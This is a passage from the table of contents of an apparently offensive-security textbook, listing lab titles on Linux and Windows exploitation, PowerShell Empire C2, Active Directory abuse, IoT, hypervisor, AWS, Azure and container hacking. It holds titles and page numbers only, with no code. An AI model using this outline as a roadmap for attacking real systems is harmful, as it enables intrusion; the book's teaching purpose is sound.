OSSEM to the Rescue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176
Data-Driven Hunts Using OSSEM . . . . . . . . . . . . . . . . . . . . . . . . . 177
MITRE ATT&CK Framework Refresher: T1003.002 . . . . . 177
Lab 9-1: Visualizing Data Sources with OSSEM . . . . . . . . . . 177
Lab 9-2: AtomicRedTeam Attacker Emulation . . . . . . . . . . . 181
Exploring Hypothesis-Driven Hunts . . . . . . . . . . . . . . . . . . . . . . . . 183
Lab 9-3: Hypothesis that Someone Copied a SAM File . . . . . 183
Crawl, Walk, Run . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Enter Mordor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
Lab 9-4: Hypothesis that Someone Other
than an Admin Launched PowerShell . . . . . . . . . . . . . . . . 186
Threat Hunter Playbook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190
Departure from HELK for Now . . . . . . . . . . . . . . . . . . . . . . 190
Spark and Jupyter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190
Lab 9-5: Automated Playbooks and Sharing of Analytics . . . 191
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195
Part III Hacking Systems

Chapter 10 Basic Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199
Stack Operations and Function-Calling Procedures . . . . . . . . . . . . . 199
Buffer Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
Lab 10-1: Overflowing meet.c . . . . . . . . . . . . . . . . . . . . . . . 203
Ramifications of Buffer Overflows . . . . . . . . . . . . . . . . . . . . . 206
xviii
Local Buffer Overflow Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Lab 10-2: Components of the Exploit . . . . . . . . . . . . . . . . . . 207
Lab 10-3: Exploiting Stack Overflows
from the Command Line . . . . . . . . . . . . . . . . . . . . . . . . . 208
Lab 10-4: Writing the Exploit with Pwntools . . . . . . . . . . . . 209
Lab 10-5: Exploiting Small Buffers . . . . . . . . . . . . . . . . . . . . 210
Exploit Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212
Lab 10-6: Building Custom Exploits . . . . . . . . . . . . . . . . . . . 212
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Chapter 11 Advanced Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Lab 11-1: Vulnerable Program and Environment Setup . . . . 219
Lab 11-2: Bypassing Non-Executable Stack (NX)
with Return-Oriented Programming (ROP) . . . . . . . . . . . 222
Lab 11-3: Defeating Stack Canaries . . . . . . . . . . . . . . . . . . . 225
Lab 11-4: ASLR Bypass with an Information Leak . . . . . . . . 228
Lab 11-5: PIE Bypass with an Information Leak . . . . . . . . . . 230
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Chapter 12 Linux Kernel Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233
Lab 12-1: Environment Setup
and Vulnerable procfs Module . . . . . . . . . . . . . . . . . . . . . 233
Lab 12-2: ret2usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
Lab 12-3: Defeating Stack Canaries . . . . . . . . . . . . . . . . . . . 238
Lab 12-4: Bypassing Supervisor Mode Execution Protection
(SMEP) and Kernel Page-Table Isolation (KPTI) . . . . . . . 241
Lab 12-5: Bypassing Supervisor Mode Access
Prevention (SMAP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 244
Lab 12-6: Defeating Kernel Address Space
Layout Randomization (KASLR) . . . . . . . . . . . . . . . . . . . 246
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248
Chapter 13 Basic Windows Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Compiling and Debugging Windows Programs . . . . . . . . . . . . . . . 250
Lab 13-1: Compiling on Windows . . . . . . . . . . . . . . . . . . . . 250
Debugging on Windows with Immunity Debugger . . . . . . . . 252
Lab 13-2: Crashing the Program . . . . . . . . . . . . . . . . . . . . . . 255
Writing Windows Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 258
Exploit Development Process Review . . . . . . . . . . . . . . . . . . 258
Lab 13-3: Exploiting ProSSHD Server . . . . . . . . . . . . . . . . . 258
Contents
xix
Understanding Structured Exception Handling . . . . . . . . . . . . . . . . 270
Understanding and Bypassing Common
Windows Memory Protections . . . . . . . . . . . . . . . . . . . . . 271
Safe Structured Exception Handling . . . . . . . . . . . . . . . . . . . 272
Bypassing SafeSEH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272
Data Execution Prevention . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Return-Oriented Programming . . . . . . . . . . . . . . . . . . . . . . . 274
Gadgets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Building the ROP Chain . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280
Chapter 14 Windows Kernel Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
The Windows Kernel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Kernel Drivers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
Kernel Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
Lab 14-1: Setting Up Kernel Debugging . . . . . . . . . . . . . . . . 284
Picking a Target . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Lab 14-2: Obtaining the Target Driver . . . . . . . . . . . . . . . . . 286
Lab 14-3: Reverse Engineering the Driver . . . . . . . . . . . . . . . 287
Lab 14-4: Interacting with the Driver . . . . . . . . . . . . . . . . . . 292
Token Stealing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 296
Lab 14-5: Arbitrary Pointer Read/Write . . . . . . . . . . . . . . . . 297
Lab 14-6: Writing a Kernel Exploit . . . . . . . . . . . . . . . . . . . . 298
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
Chapter 15 PowerShell Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
Why PowerShell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
Living off the Land . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
PowerShell Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306
PowerShell Portability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
Loading PowerShell Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
Lab 15-1: The Failure Condition . . . . . . . . . . . . . . . . . . . . . 307
Lab 15-2: Passing Commands on the Command Line . . . . . 309
Lab 15-3: Encoded Commands . . . . . . . . . . . . . . . . . . . . . . 310
Lab 15-4: Bootstrapping via the Web . . . . . . . . . . . . . . . . . . 311
Exploitation and Post-Exploitation with PowerSploit . . . . . . . . . . . 313
Lab 15-5: Setting Up PowerSploit . . . . . . . . . . . . . . . . . . . . . 313
Lab 15-6: Running Mimikatz Through PowerShell . . . . . . . . 315
Using PowerShell Empire for C2 . . . . . . . . . . . . . . . . . . . . . . . . . . . 316
Lab 15-7: Setting Up Empire . . . . . . . . . . . . . . . . . . . . . . . . 316
Lab 15-8: Staging an Empire C2 . . . . . . . . . . . . . . . . . . . . . . 317
Lab 15-9: Using Empire to Own the System . . . . . . . . . . . . . 318
Lab 15-10: Using WinRM to Launch Empire . . . . . . . . . . . . 320
xx
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
Chapter 16 Getting Shells Without Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
Capturing Password Hashes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
Understanding LLMNR and NBNS . . . . . . . . . . . . . . . . . . . 325
Understanding Windows NTLMv1
and NTLMv2 Authentication . . . . . . . . . . . . . . . . . . . . . . 326
Using Responder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327
Lab 16-1: Getting Passwords with Responder . . . . . . . . . . . . 329
Using Winexe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332
Lab 16-2: Using Winexe to Access Remote Systems . . . . . . . 332
Lab 16-3: Using Winexe to Gain Elevated Privileges . . . . . . . 333
Using WMI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
Lab 16-4: Querying System Information with WMI . . . . . . . 334
Lab 16-5: Executing Commands with WMI . . . . . . . . . . . . . 337
Taking Advantage of WinRM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 338
Lab 16-6: Executing Commands with WinRM . . . . . . . . . . 338
Lab 16-7: Using Evil-WinRM to Execute Code . . . . . . . . . . 339
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342
Chapter 17 Post-Exploitation in Modern Windows Environments . . . . . . . . . . 343
Post-Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343
Host Recon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344
Lab 17-1: Using whoami to Identify Privileges . . . . . . . . . . . 344
Lab 17-2: Using Seatbelt to Find User Information . . . . . . . 346
Lab 17-3: System Recon with PowerShell . . . . . . . . . . . . . . . 348
Lab 17-4: System Recon with Seatbelt . . . . . . . . . . . . . . . . . 350
Lab 17-5: Getting Domain Information with PowerShell . . . 352
Lab 17-6: Using PowerView for AD Recon . . . . . . . . . . . . . . 354
Lab 17-7: Gathering AD Data with SharpHound . . . . . . . . . 356
Escalation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357
Lab 17-8: Profiling Systems with winPEAS . . . . . . . . . . . . . . 357
Lab 17-9: Using SharpUp to Escalate Privileges . . . . . . . . . . 358
Lab 17-10: Searching for Passwords in User Objects . . . . . . . 359
Lab 17-11: Abusing Kerberos to Gather Credentials . . . . . . . 360
Lab 17-12: Abusing Kerberos to Escalate Privileges . . . . . . . . 361
Active Directory Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364
Lab 17-13: Abusing AdminSDHolder . . . . . . . . . . . . . . . . . 364
Lab 17-14: Abusing SIDHistory . . . . . . . . . . . . . . . . . . . . . . 366
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 368
Contents
xxi
Chapter 18 Next-Generation Patch Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . 369
Introduction to Binary Diffing . . . . . . . . . . . . . . . . . . . . . . . . . . . . 369
Application Diffing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 369
Patch Diffing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370
Binary Diffing Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 371
BinDiff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 372
turbodiff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374
Lab 18-1: Our First Diff . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375
Patch Management Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379
Microsoft Patch Tuesday . . . . . . . . . . . . . . . . . . . . . . . . . . . . 379
Obtaining and Extracting Microsoft Patches . . . . . . . . . . . . . 380
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 389
Part IV Hacking IoT

Chapter 19 Internet o Things to Be Hacked . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
Internet of Things (IoT) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
Types of Connected Things . . . . . . . . . . . . . . . . . . . . . . . . . . 394
Wireless Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394
Communication Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . 395
Security Concerns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 396
Shodan IoT Search Engine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 396
Web Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 397
Shodan Command-Line Interface . . . . . . . . . . . . . . . . . . . . . 400
Lab 19-1: Using the Shodan Command Line . . . . . . . . . . . . 400
Shodan API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 401
Lab 19-2: Testing the Shodan API . . . . . . . . . . . . . . . . . . . . 402
Lab 19-3: Playing with MQTT . . . . . . . . . . . . . . . . . . . . . . 403
Implications of this Unauthenticated Access to MQTT . . . . . 404
IoT Worms: It Was a Matter of Time . . . . . . . . . . . . . . . . . . . . . . . 404
Prevention . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
Chapter 20 Dissecting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409
CPU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409
Microprocessor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410
Microcontrollers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410
System on Chip . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410
Common Processor Architectures . . . . . . . . . . . . . . . . . . . . . 410
xxii
Serial Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
UART . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
SPI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
I2C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
Debug Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418
JTAG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418
SWD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420
Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Bootloader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
No Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
Real-Time Operating System . . . . . . . . . . . . . . . . . . . . . . . . . 423
General Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425
Chapter 21 Exploiting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
Static Analysis of Vulnerabilities in Embedded Devices . . . . . . . . . . 427
Lab 21-1: Analyzing the Update Package . . . . . . . . . . . . . . . 427
Lab 21-2: Performing Vulnerability Analysis . . . . . . . . . . . . . 432
Dynamic Analysis with Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . 436
The Test Environment Setup . . . . . . . . . . . . . . . . . . . . . . . . . 436
Ettercap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 436
Dynamic Analysis with Emulation . . . . . . . . . . . . . . . . . . . . . . . . . 440
FirmAE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 440
Lab 21-3: Setting Up FirmAE . . . . . . . . . . . . . . . . . . . . . . . . 440
Lab 21-4: Emulating Firmware . . . . . . . . . . . . . . . . . . . . . . . 441
Lab 21-5: Exploiting Firmware . . . . . . . . . . . . . . . . . . . . . . . 444
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 445
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 446
Chapter 22 Sotware-Defned Radio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Getting Started with SDR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
What to Buy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Not So Quick: Know the Rules . . . . . . . . . . . . . . . . . . . . . . . 449
Learn by Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
Search . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
Capture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 450
Replay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452
Analyze . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454
Preview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 461
Execute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 464
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 464
Contents
xxiii
Part V Hacking Hypervisors
Chapter 23 Hypervisors 101 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 469
What Is a Hypervisor? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 469
Popek and Goldberg Virtualization Theorems . . . . . . . . . . . . 470
Goldberg’s Hardware Virtualizer . . . . . . . . . . . . . . . . . . . . . . 472
Type-1 and Type-2 VMMs . . . . . . . . . . . . . . . . . . . . . . . . . . 474
x86 Virtualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 475
Dynamic Binary Translation . . . . . . . . . . . . . . . . . . . . . . . . . 476
Ring Compression . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 476
Shadow Paging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 477
Paravirtualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 479
Hardware Assisted Virtualization . . . . . . . . . . . . . . . . . . . . . . . . . . . 480
VMX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 480
EPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 482
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 483
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484
Chapter 24 Creating a Research Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 487
Hypervisor Attack Surface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 487
The Unikernel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 489
Lab 24-1: Booting and Communication . . . . . . . . . . . . . . . . 489
Lab 24-2: Communication Protocol . . . . . . . . . . . . . . . . . . . 492
Boot Message Implementation . . . . . . . . . . . . . . . . . . . . . . . 497
Handling Requests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 499
The Client (Python) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 500
Communication Protocol (Python) . . . . . . . . . . . . . . . . . . . . 500
Lab 24-3: Running the Guest (Python) . . . . . . . . . . . . . . . . 504
Lab 24-4: Code Injection (Python) . . . . . . . . . . . . . . . . . . . . 505
Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 508
The Fuzzer Base Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 509
Lab 24-5: IO-Ports Fuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . 510
Lab 24-6: MSR Fuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511
Lab 24-7: Exception Handling . . . . . . . . . . . . . . . . . . . . . . . 513
Fuzzing Tips and Improvements . . . . . . . . . . . . . . . . . . . . . . 514
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515
Chapter 25 Inside Hyper-V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 517
Environment Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 517
Hyper-V Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
Hyper-V Components . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
Virtual Trust Levels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 521
Generation-1 VMs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
xxiv
Lab 25-1: Scanning PCI Devices in a Generation-1 VM . . . . 522
Generation 2 VMs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 523
Lab 25-2: Scanning PCI Devices in a Generation-2 VM . . . . 523
Hyper-V Synthetic Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 524
Synthetic MSRs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 524
Lab 25-3: Setting Up the Hypercall Page
and Dumping Its Contents . . . . . . . . . . . . . . . . . . . . . . . . 525
Hypercalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 528
VMBus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532
Lab 25-4: Listing VMBus Devices . . . . . . . . . . . . . . . . . . . . 534
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 538
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
Chapter 26 Hacking Hypervisors Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 541
Bug Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 541
USB Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 542
Lab 26-1: Patch Analysis Using GitHub API . . . . . . . . . . . . 544
Developing a Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 546
Setting Up the Target . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 546
Lab 26-2: Scanning the PCI Bus . . . . . . . . . . . . . . . . . . . . . . 547
The EHCI Controller . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 547
Triggering the Bug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 549
Lab 26-3: Running the Trigger . . . . . . . . . . . . . . . . . . . . . . . 551
Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552
Relative Write Primitive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552
Relative Read Primitive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 553
Lab 26-4: Debugging the Relative Read Primitive . . . . . . . . . 554
Arbitrary Read . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 555
Full Address-Space Leak Primitive . . . . . . . . . . . . . . . . . . . . . 556
Module Base Leak . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558
RET2LIB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 559
Lab 26-5: Finding Function Pointers with GDB . . . . . . . . . . 559
Lab 26-6: Displaying IRQState with GDB . . . . . . . . . . . . . . 561
Lab 26-7: Launching the Exploit . . . . . . . . . . . . . . . . . . . . . 562
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563
Part VI Hacking the Cloud

Chapter 27 Hacking in Amazon Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Amazon Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Services, Locations, and Infrastructure . . . . . . . . . . . . . . . . . . 568
How Authorization Works in AWS . . . . . . . . . . . . . . . . . . . . 568
Contents
xxv
Abusing AWS Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . 570
Lab 27-1: Environment Setup . . . . . . . . . . . . . . . . . . . . . . . . 571
Abusing Authentication Controls . . . . . . . . . . . . . . . . . . . . . . . . . . 571
Types of Keys and Key Material . . . . . . . . . . . . . . . . . . . . . . . 572
Lab 27-2: Finding AWS Keys . . . . . . . . . . . . . . . . . . . . . . . . 572
Attacker Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575
Lab 27-3: Enumerating Permissions . . . . . . . . . . . . . . . . . . . 577
Lab 27-4: Leveraging Access to Perform
Unauthorized Actions . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
Lab 27-5: Persistence Through System Internals . . . . . . . . . . 580
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583
Chapter 28 Hacking in Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
Microsoft Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
Differences Between Azure and AWS . . . . . . . . . . . . . . . . . . . 586
Lab 28-1: Setup of Our Labs . . . . . . . . . . . . . . . . . . . . . . . . 587
Lab 28-2: Additional User Steps . . . . . . . . . . . . . . . . . . . . . . 589
Lab 28-3: Validating Access . . . . . . . . . . . . . . . . . . . . . . . . . 590
Microsoft Azure AD Overview . . . . . . . . . . . . . . . . . . . . . . . 591
Azure Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591
Constructing an Attack on Azure-Hosted Systems . . . . . . . . . . . . . 593
Lab 28-4: Azure AD User Lookups . . . . . . . . . . . . . . . . . . . . 594
Lab 28-5: Azure AD Password Spraying . . . . . . . . . . . . . . . . 596
Lab 28-6: Getting onto Azure . . . . . . . . . . . . . . . . . . . . . . . . 597
Control Plane and Managed Identities . . . . . . . . . . . . . . . . . . . . . . 598
Lab 28-7: System Assigned Identities . . . . . . . . . . . . . . . . . . 598
Lab 28-8: Getting a Backdoor on a Node . . . . . . . . . . . . . . . 600
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 601
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 601
Chapter 29 Hacking Containers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 603
Linux Containers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 603
Container Internals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 604
Cgroups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 604
Lab 29-1: Setup of our Environment . . . . . . . . . . . . . . . . . . 604
Lab 29-2: Looking at Cgroups . . . . . . . . . . . . . . . . . . . . . . . 605
Namespaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 607
Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 608
Lab 29-3: Container Storage . . . . . . . . . . . . . . . . . . . . . . . . . 609
Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 611
What Is Docker? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 612
Lab 29-4: Looking for Docker Daemons . . . . . . . . . . . . . . . 612
xxvi
Container Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 613
Lab 29-5: Interacting with the Docker API . . . . . . . . . . . . . . 614
Lab 29-6: Executing Commands Remotely . . . . . . . . . . . . . . 614
Lab 29-7: Pivots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 616
Breaking Out of Containers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 616
Capabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 617
Lab 29-8: Privileged Pods . . . . . . . . . . . . . . . . . . . . . . . . . . . 617
Lab 29-9: Abusing Cgroups . . . . . . . . . . . . . . . . . . . . . . . . . 618
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 620
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 621
